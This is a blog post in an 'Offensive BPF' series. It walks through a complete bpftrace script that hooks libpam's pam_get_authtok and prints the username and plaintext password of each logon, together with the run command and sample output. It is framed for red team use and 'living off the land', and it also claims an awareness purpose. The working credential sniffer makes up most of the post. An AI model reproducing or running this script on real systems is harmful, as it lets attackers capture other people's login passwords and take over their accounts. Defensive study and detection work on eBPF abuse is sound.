Offensive BPF: Using bpftrace to sniff PAM logon passwords

This post is part of a series about Offensive BPF. Click the “ebpf” tag to see all related posts.

Offensive BPF

It has been a while that we posted something in the “Offensive BPF” series. But recently there have been a couple of new cool ebpf based tools, such as TripleCross, boopkit and pamspy.

So, I thought it be quite fitting to do another post in the Offensive BPF series to keep raising awareness.

Let’s sniff PAM again - pamsnoop.bt

A few weeks back we discussed a backdoor PAM module to grab authtok tokens (e.g. SSH passwords) when someone logs on to a machine. In this post we will build an eBPF program using bpftrace to do the same. Kudos for the idea using eBPF go to citronneur.

The short bpftrace script we are discussing is here.

Let’s walk through the details.

Declaring the stub pam_handle struct

The first step is to make sure we have the right data structure available. pam_private.h is the header file in the Linux source.

Technically you can include the header file directly, but it might not be available if you trying to “live off the land” during a Red Team exercise. The filler is a bit of a hack, but it works quite well.

struct partial_pam_handle {
      char *filler[6];
      char *user;
};

Next, we create a BEGIN section to just show some information on the Console

BEGIN 
{ 
      printf("Welcome to Offensive BPF. Sniffing PAM authentications...");
      printf("Ctrl-C to exit.\n\n");
}

Hooking the pam_get_authtok function

Now we create the core of the bpftrace program by hooking the pam_getauthtok call, reading the username and the password into a variable and printing them out once the function returns.

uprobe:/lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok 
{
      @user[tid] = ((struct partial_pam_handle *)arg0)->user;
      @authtok[tid] =  arg2;
}
    
uretprobe:/lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok 
/@user[tid]/ 
{
  
      printf("Program: %s, Username: %s, AuthTok: %s\n", 
             comm, //process
             str(@user[tid]),  
             str(*@authtok[tid])); 
             
      delete(@user[tid]);
      delete(@authtok[tid]);
}

Important: If you have trouble understanding why there is a uprobe and a uretprobe go back in the “Offensive BPF Series” and to read up on how bpf programs are structured.

Also, recall that / @user[tid] / is the syntax to apply a filter.

Running pamsnoop.bt

Run the script with sudo bpftrace pamsnoop.bt.

hacker@commodore:~$ sudo bpftrace tracepam.bt 
Attaching 3 probes...
Welcome to Offensive BPF. Sniffing PAM authentications...Ctrl-C to exit.

Now, whenever someone logs on to the machine you will see username and authentication token:

pamsnoop

Quite useful when running across infrastructure that has bpftrace already installed.

Conclusion

In this post we looked at more advanced bpftrace usage scenarios that adversaries can leverage and that defenders not to start being aware of.

As a reminder, there is a defender/detection post we did in the past, located here.

Cheers.

References